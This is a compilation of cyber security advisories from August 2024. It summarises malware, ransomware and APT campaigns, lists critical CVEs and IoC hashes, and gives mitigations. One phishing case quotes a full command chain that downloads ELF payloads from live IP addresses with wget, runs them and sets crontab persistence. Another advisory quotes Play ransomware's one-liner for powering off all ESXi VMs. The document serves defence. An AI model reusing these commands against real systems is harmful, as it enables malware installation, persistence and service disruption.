**Cyber Security Advisories**

**Date: 16 August 2024**

1. **Adv/2024/Jul/038**

Based on analysis, please find attached malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days

**IOCs: IOC\_Adv2024Jul051.txt attached**

1. **Adv/2024/Jul/052**

Reference is made to earlier NCIIPC Advisory with advisory no - Adv/2024/Jul/043 and subject - Microsoft Windows Error “Blue Screen of Death (BSOD)”.

It has been reported that threat actors are distributing a data wiper malware masquerading as a CrowdStrike update installation. This campaign takes advantage of the recent CrowdStrike update issue, which caused Windows systems to crash into a Blue Screen of Death (BSOD) state. This allows attackers to spread malware by using filenames that look like those of legitimate CrowdStrike files. The Wiper malware was delivered using pdf file containing link to zip which in turn contains the actual payload. The wiper malware overwrites the system files with zero bytes.

**IOCs: IOC\_Adv2024Jul052.txt attached**

1. **Adv/2024/Jul/053**

It has been reported that attached IOCs are targeting Critical Sector Organisation.

**IOCs: IOC\_Adv2024Jul053.txt attached**

1. **Adv/2024/Jul/054**

Reference is made to earlier advisories on CUTTLEFISH MALWARE.

It has been observed that "Cuttlefish" is active in the cyber threat landscape. The primary target for this malware is Small office/home office (SOHO) and enterprise-grade routers. Its objectives include network traffic monitoring and obtaining authentication information via HTTP GET and POST requests. It also has the ability to intercept data and perform DNS & HTTP hijacking, rerouting traffic to malicious websites and use compromised router to establish a VPN or proxy, giving attackers continuous access to the network. Cuttlefish uses a zero-click methodology which enables it to collect data without requiring user input with the aim to steal authentication details and other sensitive data from web requests that go over the compromised router.  It poses a serious risk to cloud security because it focuses on publicly accessible cloud-based services.

**IOCs: IOC\_Adv2024Jul054.txt attached**

1. **Adv/2024/Jul/055**

Reference is made to earlier advisories on Mirai Botnet.

It has been observed that Mirai botnet targets networked devices running Linux. Mirai focuses on online consumer devices like IP cameras and home routers. It spreads by scanning and exploiting the vulnerable Internet of Things (IoT) devices. Once infected, attackers make the devices a part of their Mirai-based botnet which they use later for conducting DDoS attacks.

**IOCs: IOC\_Adv2024Jul055.txt attached**

1. **Adv/2024/Jul/056**

It has been observed that RA World is a multistage ransomware family that primarily targets healthcare and financial sectors with multi-stage attacks and double extortion techniques. It first acquires access via compromised domain controllers and delivers their components to the SYSVOL sharing path of a machine Group Policy Object (GPO) to enable privilege escalation and ransomware delivery on victim systems. The malware employs anti-AV strategies and exploits GPO settings to allow PowerShell script execution.

**IOCs: IOC\_Adv2024Jul056.txt attached**

1. **Adv/2024/Jul/057**

**Vulnerability in WooCommerce - Social Login plugin for WordPress**

An unauthorized modification of data vulnerability has been discovered in WooCommerce - Social Login plugin for WordPress. The affected versions are WooCommerce - Social Login plugin for WordPress all versions up to, and including, 2.7.3.

CVE ID: CVE-2024-6636 (Critical)

**Vulnerability in PayPlus Payment Gateway WordPress Plugin**

SQL injection vulnerability has been discovered in PayPlus Payment Gateway WordPress plugin. The affected versions are ayPlus Payment Gateway WordPress plugin before 6.6.9.

CVE ID: CVE-2024-6205 (Critical)

**Vulnerability in PruvaSoft Informatics Apinizer Management Console**

Authorization Bypass Through User-Controlled Key vulnerability has been discovered in PruvaSoft Informatics Apinizer Management Console. The affected versions are Apinizer Management Console: before 2024.05.1.

CVE ID: CVE-2024-5619 (Critical)

**Vulnerability in Tenda**

A hardcoded password vulnerability has been discovered in Tenda. The affected version is Tenda i29V1.0 V1.0.0.5.

CVE ID: CVE-2024-35338 (Critical)

**Vulnerability in Tenda**

Stack-based buffer overflow vulnerability has been discovered in Tenda. The affected version is Tenda AC18 V15.03.3.10\_EN.

CVE ID: CVE-2024-33182 (Critical)

**Vulnerability in Craft CMS**

SQL injection vulnerability has been discovered in Craft CMS. The affected versions are Craft CMS up to v3.7.31.

CVE ID: CVE-2024-37843 (Critical)

**Vulnerability in Cellopoint Secure Email Gateway**

Buffer Overflow vulnerability has been discovered in SMTP Listener of Cellopoint Secure Email Gateway. The affected version is Secure Email Gateway before version 4.5.0. The mitigations are available.

CVE ID: CVE-2024-6744 (Critical)

**Vulnerability in AguardNet's Space Management System**

It has been discovered that AguardNet's Space Management System does not properly validate user input, allowing unauthenticated remote attackers to inject arbitrary SQL commands to read, modify, and delete database contents.

CVE ID: CVE-2024-6743 (Critical)

**Palo Alto Networks Released Security Updates**

Palo Alto Networks has released security updates to resolve multiple vulnerabilities in the Palo Alto Networks Expedition, Panorama Web Interface, Cortex XDR Agent, PAN-OS.

CVE ID: CVE-2024-5910 (Critical), CVE-2024-5911 (High), CVE-2024-5912 (Medium), CVE-2024-5913 (Medium), CVE-2024-3596 (Medium)

**Vulnerability in GroupMe**

An improper access control vulnerability has been discovered in GroupMe that allows an a unauthenticated attacker to elevate privileges over a network by convincing a user to click on a malicious link.

CVE ID: CVE-2024-38164 (Critical)

**Vulnerability in WooCommerce - Social Login plugin for WordPress**

An unauthorized modification of data has been discovered in WooCommerce - Social Login plugin for WordPress. The affected versions are WooCommerce - Social Login plugin for WordPress all versions up to, and including, 2.7.3.

1. **Adv/2024/Jul/058**

It has been observed that Bitrat is a backdoor which is written in C++ programming language can perform file operations, execute remote commands, gather system information, record audio, control webcams, take screenshots, engage in crypto mining, browse websites, participate in DDoS attacks, log mouse and keyboard interactions, and even force a BSOD (Blue Screen of Death). It is delivered via phishing emails with malicious attachments or fake updates. Once executed, BitRAT clears DNS cache, downloads additional code (e.g., PowerShell), and installs related malware (like: LummaC2 information-stealer).

**IOCs: IOC\_Adv2024Jul058.txt attached**

1. **Adv/2024/Aug/002**

It has been observed that a critical vulnerability (CVE-2024-37085) in VMware ESXi hypervisors is being exploited by ransomware operators to gain full administrative access on domain-joined ESXi hypervisors. ESXi is a popular bare-metal hypervisor widely used, making it a prime target for threat actors. The vulnerability stems from a default setting that grants full administrative access to the "ESX Admins" domain group without proper validation. Threat actors the Storm-0506 and Black Basta ransomware operators are exploiting this vulnerability.

Three exploitation methods have been identified, these are:

1. Adding a user to the "ESX Admins" group.

2. Renaming any domain group to "ESX Admins" and adding a user to it.

3. Utilizing an existing member of the "ESX Admins" group.

1. **Adv/2024/Aug/003**

It has been observed that adversaries are targeting government / defence personnel using spoofed / compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. On clicking the link containing in phishing mail opens a phishing page. Inside the page there is a "Download" button. On clicking the "Download" button, it gives a pop-up which prompts for username and password of NIC mail account. This phishing activity potentially compromise the user credentials and propagate malware payload.

**IOCs: IOC\_Adv2024Aug003.txt attached**

1. **Adv/2024/Aug/005**

Reference is made to NCIIPC advisory No: Adv/2024/Jul/053 dated 31 July 2024.

RansomETT v2.0 group is targeting large organisations with substantial ransom demands. For the particular attack reported, the attack chain begins with a misconfigured Jenkins server, which was exploited to gain unauthorized access.

**IOCs: IOC\_Adv2024Aug005.txt attached**

1. **Adv/2024/Aug/004**

Reference is made to NCIIPC Advisory No: Adv/2023/Apr/002 dated 03 Apr 2023 and Advisory No: Adv/2023/Mar/033 dated 15 Mar 2023.

It has been observed that the malicious IP is targeting critical sectors using SQL injection and other malicious activities in some of sources. The IP is attributed with Anonymous Sudan & Botnet Proxy. List of malicious activity performed by attacker are Input Validation Violation, URL Access Violation, SQL Injection, Code Injection, HTTP RFC Violation, Abuse of Functionality, Predictable Resource Location, Path Traversal, Server Information Leakage, 10 LDAP Injection and Cross Site Scripting.

**IOCs: IOC\_Adv2024Aug004.txt attached**

1. **Adv/2024/Aug/006**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques.

**Modus Operandi of the Phishing Attacks: -**

**Case 1:** The spear-phishing email contains a HTML frame with the headline "keep the same password" & "Skip up to 6 months". Upon clicking, it redirects to a URL, which is a phishing email. The Firefox and Chrome browsers detect this URL as a dangerous site.

**Case 2:** The spear-phishing email contains a hyperlink. On click, it opens a mimicked/cloned phishing page of "mod.gov.in" with the title "Urgent Alert from the Ministry of Information Technology, India”. Inside the page, there is a Download button, which gives a pop-up, which prompts for the username and password of NIC mail account.

**Case 3:** The spear-phishing email contains an archive file named "posting Transfer under Ph-III of rotational transfer.zip". Upon clicking, the archive file, "posting Transfer under Ph-III of rotational transfer.desktop" is extracted, which is a malicious file.  On click the "posting Transfer under Ph-III of rotational transfer.desktop" file, a PDF file named "JSCAO.pdf" is downloaded. The file is not malicious, and is being used as a decoy to convince the victim of the legitimacy of the email. Simultaneously, multiple commands are be executed in the background.  In the background, it executes the following commands:

a. wget 159.65.146.80/bin-xdg -O ~/.local/share/fonts-utils && chmod +x ~/.local/share/fonts-utils

b. ~/.local/share/fonts-utils >/dev/null 2>&1 & sleep 5

c. wget 157.245.100.177/acpid-dit -O ~/.local/share/acpid-dit && chmod +x ~/.local/share/acpid-dit

d. ~/.local/share/acpid-dit

e. echo '@reboot ~/.local/share/acpid-dit'>>/dev/shm/myc.txt

f. echo '@reboot ~/.local/share/fonts-utils'>>/dev/shm/myc.txt; crontab -u `whoami` /dev/shm/myc.txt

g. rm /dev/shm/myc.txt;~/.local/share/acpid-dit

h. rm /dev/shm/myc.txt;~/.local/share/fonts-utils &"

These commands download two ELF Linux Poseidon Malware files, namely "bin-xdg" and "acpid-dlna”, saves them in the local directory, changes their permission, and executes them.

**Case 4:** The spear-phishing email contains a hyperlink. Upon clicking, the hyperlink opens a mimicked/cloned phishing page of "ddpdoo.gov.in", which belongs to "Directorate of Ordnance. The IP address of malicious domain is malicious and currently active to potentially compromise the user credentials/propagate malware payload.

**IOCs: IOC\_Adv2024Aug006.txt attached**

1. **Adv/2024/Aug/007**

It has been observed that Lynx ransomware encrypt victims' data and uses fork of Inc Ransomware in attacks. They retrieve system information and geolocation from the Windows registry and can modify registry settings to change system configurations. Their capabilities also include resizing volume shadow copies, encrypting files with with the “. LYNX” extension, and placing ransom notes in multiple directories.

Impacts:

* Delay data processing: It can delay execution using the Sleep API function.
* System Compromise: The malware can gain unauthorized access to systems for retrieving system time, deleting shadow copies and sending the ransom note to the printer.
* Stolen Credentials: The ransomware operators may use stolen credentials to breach targeted systems.

**Tactics, Techniques, and Procedures (TTPs):**

MITRE ATT&CK Matrix for Lynx Ransomware

Initial Access

• Drive-by Compromise:

Drive-by Compromise (T1189): Deployed through compromised websites.

Execution

• Command and Scripting Interpreter:

Windows Command Shell (T1059.003): Executes commands via the command shell.

• User Execution:

Native API (T1106): Attackers used to interact with a system's underlying operating system through native API calls.

Privilege Escalation

• Exploitation for Privilege Escalation:

Access Token Manipulation (T1134): Attackers exploit and manipulate access tokens in order to gain unauthorized access to resources or elevate privileges on a system.

Defense Evasion

• Modify Registry:

Modify Registry (T1112): Alters registry settings to evade detection.

• Time Based Evasion:

Virtualization/Sandbox Evasion (T1497): Used to detect and bypass security environments, such as virtual machines (VMs) or sandboxes.

Discovery

• Query Registry:

Query Registry (T1012): Queries the Windows registry to gather information about the system.

• System Information Discovery:

System Information Discovery (T1082): Collects information about the system, including OS version and hardware details.

Collection

• Screen Capture:

Screen Capture (T1113): Captures screenshots of the user's desktop.

**Mitigations & Recommendations:**

**Preventive Measures:**

* Anomaly Monitoring: Implement monitoring systems to detect unusual login activity or unauthorized access attempts that may indicate the use of stolen credentials.
* Password Management: Employ a trusted password manager to securely store and manage passwords. These tools encrypt passwords and sensitive data, increasing their security significantly compared to storing them in browser. Also ensure that autofill and password saving features in browser settings are disabled. This prevents browser from automatically storing passwords and reduces the risk of unauthorized access.
* User Education: Train users to recognize phishing attempts with context aware subjects and themes and mails particularly coming from trusted /compromised email accounts.
* Network Segmentation: Divide network into segments to limit the spread of malware if an infection occurs, helping to contain and control the impact.
* Incident Response Plan: Develop and maintain an incident response plan to quickly and effectively address malware infections and minimize damage.

**Response Actions:**

* Disconnect Affected Systems: Immediately disconnect the infected system from the network to prevent further spread of the malware. Immediately address any signs of unauthorized access by changing passwords, reviewing access logs, and securing compromised accounts.
* Remove Malicious Files: Use an antivirus or anti-malware tool to scan and remove malicious files. Most security software allows to perform a full system scan, identifying and quarantining or deleting threats.
* Update Antivirus Definitions: Ensure antivirus software is updated with the latest virus definitions. This can be done through the software's update function or by downloading the latest definitions from the vendor’s website.
* Apply Security Updates: Ensure all systems and software are updated with the latest security patches to close any vulnerabilities exploited by the malware.
* Enable Two-Factor Authentication (2FA): Implement 2FA for all sensitive accounts to add an additional layer of security.
* Periodic Backups and restoration tests to check the restoration integrity.

1. **Adv/2024/Aug/008**

It has been observed that Covenant is one of the latest command and control (C2) post-exploitation framework. It is a .NET command and control framework that aims to highlight the attack surface of .NET. It makes the use of offensive .NET tradecraft easier, and serve as a collaborative command and control platform for red teamers. Covenant is an ASP.NET Core, cross-platform application that includes a web-based interface that allows for multi-user collaboration.

**IOCs:  IOC\_Adv2024Aug008.txt attached**

1. **Adv/2024/Aug/009**

It has been observed that APT15 also known as RedLima, Vixen Panda, KE3CHANG, Royal APT, and Playful Dragon is a state-sponsored cyber espionage group. The group primarily targets government organisations. It employs a range of tools and backdoors, Operational Relay Box (ORB) networks to obscure their activities.

The APT15 has been involved in reconnaissance efforts using private anonymization networks such as HiddenOrbit (RedRelay) and SuperJump (SPACEHOP). These networks are designed to obscure malicious activities and complicate tracking and attribution. HiddenOrbit, comprises several hundred Virtual Private Servers (VPS).

**Impacts:**

Reconnaissance activity

Exfiltration of sensitive data

**Tactics, Techniques, and Procedures (TTPs):**

* Tactics: Initial Access, Execution and Exfiltration.
* Techniques: External Proxy, Exploit Public-Facing Application, Acquire Infrastructure: Virtual Private Server.
* Procedures: Utilizes private anonymization network which consists of several hundred virtual private servers (VPS) provisioned from a range of hosting providers and a small number of compromised devices to conduct reconnaissance and exploitation.

**IOCs: IOC\_Adv2024Aug009.txt attached**

1. **Adv/2024/Aug/010**

It has been observed that a new Python-based loader is used by threat actors to install Cobalt Strike malware in various organisations’ networks. The attackers are utilizing open-source Python scripts and native Windows tools for network reconnaissance, lateral movement, and executing Cobalt Strike. To deploy the final CAB file, adversaries are employing tools like Impacket, WMIC, PsExec, and RDP. Once Cobalt Strike is installed, the attackers use the Windows utility SDelete to remove traces of the malicious CAB file and Python loader.

**IOCs: IOC\_Adv2024Aug010.txt attached**

1. **Adv/2024/Aug/013**

It has been observed that the Atlantida stealer is an information stealer malware capable of stealing sensitive data from applications like Telegram, Steam, FileZilla, web browsers, and cryptocurrency-related sources. The malware utilizes Donut shellcode and RegAsm.exe for execution. APT group Void Banshee has been observed leveraging a Remote Code Execution (RCE) vulnerability (CVE-2024-38112) on Windows Microsoft HTML (MSHTML) platforms. It spreads via spear-phishing emails disguised as PDFs. The victims are redirected to compromised websites, upon opening, where an HTML Application (HTA) file downloads the Atlantida stealer.

**IOCs: IOC\_Adv2024Aug013.txt attached**

1. **Adv/2024/Aug/015**

Based on analysis, please find attached malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

**IOCs:  IOC\_Adv2024Aug015.txt attached**

1. **Adv/2024/Aug/011**

It has been observed that Beavertail is an information stealer malware capable of stealing sensitive data from web browsers like Chrome, Brave, and Opera, login credentials, iCloud Keychain. It specifically targets cryptocurrency wallets and credit card details. Adversaries trick victims, pretend to be job recruiters and invite victims to a fake job interview or create a cloned version of a legitimate website to trick victims into downloading a seemingly harmless file called "MiroTalk.dmg," which is actually the BeaverTail malware.

**IOCs: IOC\_Adv2024Aug011.txt attached**

1. **Adv/2024/Aug/012**

It has been observed that Bugsleep, also known as JELLYBEAN) is a C-based backdoor deployed by MuddyWater APT actors. The malware spreads via phishing emails disguised as invitations to webinars or online courses. In one of the recent campaigns, Egnyte file-sharing platform was leveraged to spread malware. Once executed on a victim's machine, BugSleep establishes persistence mechanisms and communicates with MuddyWater's Command and Control (C2) servers to execute commands and transfer files. It uses obfuscation techniques to avoid analysis and delay execution, making it harder to detect.

**IOCs: IOC\_Adv2024Aug012.txt attached**

1. **Adv/2024/Aug/014**

It has been observed that threat actors are using a Oneshell tool designed to streamline the creation and deployment of cross-platform reverse shell payloads, with a focus on reducing tool requirements and dependencies in target environments.

**Oneshell tool provides the following capabilities to adversaries**:

* Implements Mutual SSL to ensure encrypted communication between a Command & Control (C2) server and a target.
* Simplifies the deployment of reverse shells by enabling operators to easily integrate the payload into exploit scripts.
* Minimizes dependencies to ensure compatibility across diverse environments.
* Verifies the integrity of downloaded binaries using Treyfer CBC-MAC cryptography, ensuring secure delivery of payloads.
* Uses AES GCM encryption for securely downloading and decrypting additional stages of the payload, maintaining both confidentiality and authenticity.

1. **Adv/2024/Aug/016**

Quasar RAT malware, a fast and light-weight publicly available Windows Remote Administration Tool (RAT) coded in C# has the capability of capturing screenshots, keylogger, gathering system information, remote Shell and command execution, reversing proxy, managing tasks and files, configuring & building client executables.

**IOCs: IOC\_Adv2024Aug016.txt attached**

1. **Adv/2024/Aug/017**

It has been observed that Lumma is a C based information-stealing malware that targets Windows systems and is distributed through illegal cracks and keygens. It is available as a Malware as a Service (MaaS). The malware is usually spread through phishing emails, fake software updates, and compromised websites. Lumma has capabilities to collect sensitive information like usernames, passwords, cryptocurrency wallets, two-factor authentication extensions, and web browsers artifacts.

**IOCs: IOC\_Adv2024Aug017.txt attached**

1. **Adv/2024/Aug/018**

It has been observed that ProlificRAT, a Remote Access Trojan (RAT) is being offered as Malware as a Service (MaaS) in Underground forums, claimed to target Windows, Linux and MAC users. Using ProlificRAT’s web panel, adversaries can create and customize implants for Windows and Linux devices. The customize implants are capable of uploading files to the victim’s machine, executing commands, finding other devices on the network, running programs on the victim’s machine, to create multiple desktops, switch between different desktop's instances, and set the active desktop for operations on victim machine.

**IOCs: IOC\_Adv2024Aug018.txt attached**

1. **Adv/2024/Aug/019**

Qbot, also known as QakBot is a common trojan malware designed to steal passwords and has recently developed backdoor functionality.

**IOCs:  IOC\_Adv2024Aug019.txt attached**

1. **Adv/2024/Aug/020**

It has been observed that Raccoon Stealer, information-stealing malware steals data from applications, including login credentials, credit card information, browsing history, cookies, and cryptocurrency wallet accounts.

**IOCs:  IOC\_Adv2024Aug020.txt attached**

1. **Adv/2024/Aug/021**

Redline malware, written in C#, has capabilities of stealing credentials, collecting information from the infected machine and also downloading remote files.

**IOCs: IOC\_Adv2024Aug021.txt attached**

1. **Adv/2024/Aug/022**

It has been observed that Trinity ransomware, a variant of the "2023Lock" ransomware, is active in the cyber threat landscape. It uses a double extortion technique to encrypt files and exfiltrate data from the victim’s system. It employs the ChaCha20 encryption algorithm, which is known for its speed and security. The ransomware is found to have some similarities with Venus ransomware, probably sharing a common threat actor or a codebase.  Adversary encrypts files on a victim’s computer and appends the “.trinitylock” extension to them.

**IOCs: IOC\_Adv2024Aug022.txt attached**

1. **Adv/2024/Aug/023**

It has been observed that Qilin ransomware, written in the GO programming language, shares code and TTPs with the Black Basta, BlackMatter, and REvil (Sodinokibi) ransomwares.  Adversary uses phishing and vulnerability-exploiting tactics to obtain access to systems.  After network intrusion, ransomware runs using parameters for disabling security and propagating among networks in the command-line arguments. The malware has been seen to travel through virtual machine architecture and disable security tools by taking advantage of several weak drivers. The ransomware malware is deployed using Cobalt Strike and Remote Monitoring and Management (RMM) tools. AGENDA ransomware is offered through the Qilin ransomware service.

**IOCs: IOC\_Adv2024Aug023.txt attached**

1. **Adv/2024/Aug/024**

Emotet is an advanced, modular banking Trojan that primarily functions as a downloader or dropper of other banking Trojans.

**IOCs:  IOC\_Adv2024Aug024.txt attached**

1. **Adv/2024/Aug/027**

Reference is made to earlier advisories on SocGholish Malware.

SocGholish malware uses social engineering to infect systems. It tricks users into running a malicious JavaScript payload that masquerades as a system or software update, such as a critical browser update.

PFA additional IOCs in this regard.

**IOCs:  IOC\_Adv2024Aug027.txt attached**

1. **Adv/2024/Aug/029**

The State-sponsored threat actor TAG-109 group is utilizing Cloudflare, a Content Delivery Network (CDN) provider, to disguise their Command and Control (C2) communications by routing them through the custom backdoor known as KEYPLUG. This modular backdoor has been shared among various state-sponsored threat groups and has been prominently employed by groups such as RedGolf (APT41) and Brass Typhoon.

**IOCs: IOC\_Adv2024Aug029.txt attached**

1. **Adv/2024/Aug/028**

Trickbot, a highly modular malware is capable of performing a number of actions on a network, such as stealing information or dropping ransomware.

**IOCs:  IOC\_Adv2024Aug028.txt attached**

1. **Adv/2024/Aug/030**

The Play ransomware group has developed a new Linux variant specifically targeting VMWare ESXi environments. Adversary, when operating within an ESXi environment, scans and initiates shutdowns for all VMs using the command: /bin/sh -c “for vmid in $(vim-cmd vmsvc/getallvms | grep -v Vmid | awk '{print $1}'); do vim-cmd vmsvc/power.off $vmid; done"; otherwise, it will terminate and delete itself. The Play ransomware has entered into a collaboration with Prolific Puma, a threat group known for providing illicit infrastructure to various cybercriminals.

**IOCs: IOC\_Adv2024Aug030.txt attached**

1. **Adv/2024/Aug/025**

Ursnif, also known as Gozi, is a Banking Trojan. Its variants also include components such as backdoors, spyware, file injectors, capable of a wide variety of behaviors.

**IOCs:  IOC\_Adv2024Aug025.txt attached**

1. **Adv/2024/Aug/026**

Amadey is a Trojan bot which is used for collecting information on a victim's environment and also capable of delivering other malware.

**IOCs:  IOC\_Adv2024Aug026.txt attached**

1. **Adv/2024/Aug/031**

It has been observed that state-based threat actors have been specifically targeting military and government personnel as part of their espionage activities. CrimsonRAT, Mythic, Allakore RAT, ReverseRAT, QuasarRAT malware associated with these threat actors are a Remote Access Trojan(RAT) that allows the attacker to gain control over the infected system.

**IOCs: IOC\_Adv2024Aug031.txt attached**

1. **Adv/2024/Aug/032**

It has been observed that the malicious IP is targeting critical sectors using SQL injection and other malicious activities in some sources. The IP is attributed to Anonymous Sudan & Botnet Proxy. The list of malicious activity performed by malicious IP are input validation violation, URL access violation, SQL injection, code injection, HTTP RFC violation, abuse of functionality, predictable resource location, path traversal, server information leakage, 10 LDAP injection and Cross Site Scripting (XSS).

**IOCs:  IOC\_Adv2024Aug032.txt attached**

1. **Adv/2024/Aug/033**

**Vulnerability in D-Link**

Hardcoded credentials vulnerability has been discovered in D-Link DIR-300 REVA FIRMWARE. The affected version is D-Link DIR-300 REVA FIRMWARE v1.06B05\_WW.

CVE ID: CVE-2024-41616 (Critical)

**Vulnerability in Zscaler Client Connector**

An improper input validation vulnerability has been discovered in Zscaler Client Connector on MacOS that allows OS Command Injection. The affected versions are Zscaler Client Connector on MacOS below 4.2.

CVE ID: CVE-2024-23483 (Critical)

**Vulnerability in PayPal**

A SQL injection vulnerability has been discovered in PayPal, Credit Card and Debit Card Payment. The affected versions are PayPal, Credit Card and Debit Card Payment version 1.0.

CVE ID: CVE-2024-33974 (Critical)

**Vulnerability in JetBrains TeamCity**

A vulnerability has been discovered in JetBrains TeamCity that can cause access tokens to work even after deletion or expiration. The affected versions are JetBrains TeamCity before 2024.07.

CVE ID: CVE-2024-41827 (Critical)

**Vulnerability in IBM**

An authentication bypass vulnerability has been discovered in the IBM MQ Operator. The affected versions are IBM MQ Operator 3.2.2 and IBM MQ Operator 2.0.24.

CVE ID: CVE-2024-39742 (Critical)

**Vulnerability in Raisecom**

An OS command injection vulnerability has been discovered in Raisecom. The affected versions are Raisecom MSG1200, MSG2100E, MSG2200 and MSG2300 3.90.

CVE ID: CVE-2024-7470 (Critical)

**Vulnerability in elunez eladmin**

A path traversal vulnerability has been discovered in elunez eladmin. The affected versions are elunez eladmin up to 2.7.

CVE ID: CVE-2024-7458 (Critical)

**Vulnerability in Tenda**

A command injection vulnerability has been discovered in Tenda FH. The affected version is Tenda FH1201 v1.2.0.14.

CVE ID: CVE-2024-41473 (Critical)

**Vulnerability in ALCASAR**

A Remote Code Execution (RCE) vulnerability has been discovered in ALCASAR. The affected versions are ALCASAR before 3.6.1.

CVE ID: CVE-2024-38295 (Critical)

**Vulnerability in CubeCart**

A directory traversal vulnerability has been discovered in CubeCart. The affected version is CubeCart v.6.5.5.

CVE ID: CVE-2024-34832 (Critical)

**Multiple Vulnerabilities in Vonets Industrial WiFi Bridge Relays and WiFi Bridge Repeaters**

Multiple vulnerabilities have been discovered in Vonets Industrial WiFi Bridge Relays and WiFi Bridge Repeaters. The affected Vonets products and versions  are  VAR1200-H versions 3.3.23.6.9 & prior, VAR1200-L versions 3.3.23.6.9 & prior, VAR600-H versions 3.3.23.6.9 & prior, VAP11AC versions 3.3.23.6.9 & prior, VAP11G-500S versions 3.3.23.6.9 & prior, VBG1200 versions 3.3.23.6.9 & prior, VAP11S-5G versions 3.3.23.6.9 & prior, VAP11S versions 3.3.23.6.9 & prior, VAR11N-300 versions 3.3.23.6.9 & prior, VAP11G-300 versions 3.3.23.6.9 & prior, VAP11N-300 versions 3.3.23.6.9 & prior, VAP11G versions 3.3.23.6.9 & prior, VAP11G-500 versions 3.3.23.6.9 & prior, VBG1200 versions 3.3.23.6.9 & prior, VAP11AC versions 3.3.23.6.9 & prior and VGA-1000 versions 3.3.23.6.9 & prior.

CVE ID: CVE-2024-41161 (High), CVE-2024-29082 (High), CVE-2024-41936 (High), CVE-2024-37023 (Critical), CVE-2024-39815 (High), CVE-2024-39791 (High), CVE-2024-42001 (High)

**Vulnerability in Microsoft Dynamics 365**

An elevation of privilege vulnerability has been discovered in Dynamics 365 Field Service (on-premises) v7 series.

CVE ID: CVE-2024-38182 (Critical)

**Vulnerability in Tenda**

A buffer overflow vulnerability has been discovered in Tenda. The affected version is Tenda i22 1.0.0.3(4687).

CVE ID: CVE-2024-7583 (Critical)

This document is distributed as TLP: CLEAR. Recipients can spread this to the world, there is no limit on disclosure. Subject to standard copyright rules, TLP: CLEAR information may be shared without restriction.

1. **Adv/2024/Aug/034**

It has been observed that the threat group Daggerfly, also known as Evasive Panda, an Advanced Persistent Threat (APT) actor, is exploiting a vulnerability in an Apache HTTP server to deliver the MgBot malware. This malware deploys the Macma backdoor on macOS devices, which has capabilities of screen capture resizing and enhanced debug logging. Adversary has also introduced a new Windows backdoor called Nightdoor, also known as NetMM to their arsenal. Nightdoor creates specific folders to store encrypted network configuration data, which allows it to evade detection and maintain communication with its Command and Control (C2) server.

**IOCs:  IOC\_Adv2024Aug034.txt attached**

1. **TA-RAN-2024-08-12-001**

The "Blacksuit" ransomware exhibit characteristics similar to Royal Ransomware. BlackSuit uses a double-extortion technique to leak stolen data and uses a string “delete”, which allows the ransomware executable to delete itself after encryption and it also contains the string “disablesafeboot”, which allows it to remove the current safeboot entry and then restart the machine. To gain initial access, it uses phishing techniques and exploits vulnerabilities in public-facing applications. This ransomware is executed via the command line with the required argument "-name". To establish SSH connection, it has been found using tools such as Chisel and Cloudflared, as well as Secure Shell (SSH) Client, OpenSSH and MobaXterm.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

HASHES (SHA256):-

1c849adcccad4643303297fb66bfe81c5536be39a87601d67664af1d14e02b9e

90ae0c693f6ffd6dc5bb2d5a5ef078629c3d77f874b2d2ebd9e109d8ca049f2c

449df90b819d01d290d218929bd33ee24941b3e6c00cdedc0e6f2714aea8460b

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2024-08-12-002**

It has been observed that RHYSIDA ransomware is written in C++. It operates as a Ransomware-as-a-Service (RaaS) model and employs a double extortion tactic, where the adversary not only encrypts the victim’s data but also threatens to release it publicly if the ransom is not paid. Adversary gain initial access using Cobalt Strike beacons for deploying malicious IP scanners through malvertising campaigns, exfiltrating sensitive data for extortion purposes, phishing campaigns, exploiting vulnerabilities (e.g. Zerologon), and leveraging remote services such as VPNs. The malware propagates via malvertising campaigns, often delivered through trojanized installers that introduce a backdoor into infected systems. This backdoor can connect to a Command & Control (C2) server to gather details about the compromised device, including the hardware specifications, installed software, and operating system (OS).  It was noted that the malware establishes persistence by creating scheduled tasks and embeds itself into the system through the execution of legitimate software installers.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**HASHES**

**SHA256:-**

0a7fd836d36ed8e8e9aa7bc41fdc9242333e8469059dec8886b7d935f3651679

**MD5:-**

0c8e88877383ccd23a755f429006b437

1e256229b58061860be8dbf0dc4fe67e

3225b95fc72f238ab1e53bfabc11b551

44c7d18633b5741db270a6bd378b6f3c

569d2b5701755260514fe1563d7530bb

59a9ca795b59161f767b94fc2dece71a

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2024-08-12-003**

It has been observed that a new ransomware variant named as HorrorDead is active in the cyber threat landscape. The HorrorDead ransomware encrypts files with the extension “.encrypted@HorrorDeadBot” and changes the desktop wallpaper to display the ransom note. Once it is executed on a victim's machine, it drops a copy of itself named “HorrorDead Ransomare.exe” inside the C:\Users\username\AppData\Roaming\ director. Adversary performs various actions, including deleting backup copies, modifying system settings, stealing data, and disabling security features. Additionally, it has the ability to enumerate files and directories, retrieve the current user’s username, and delay its execution.

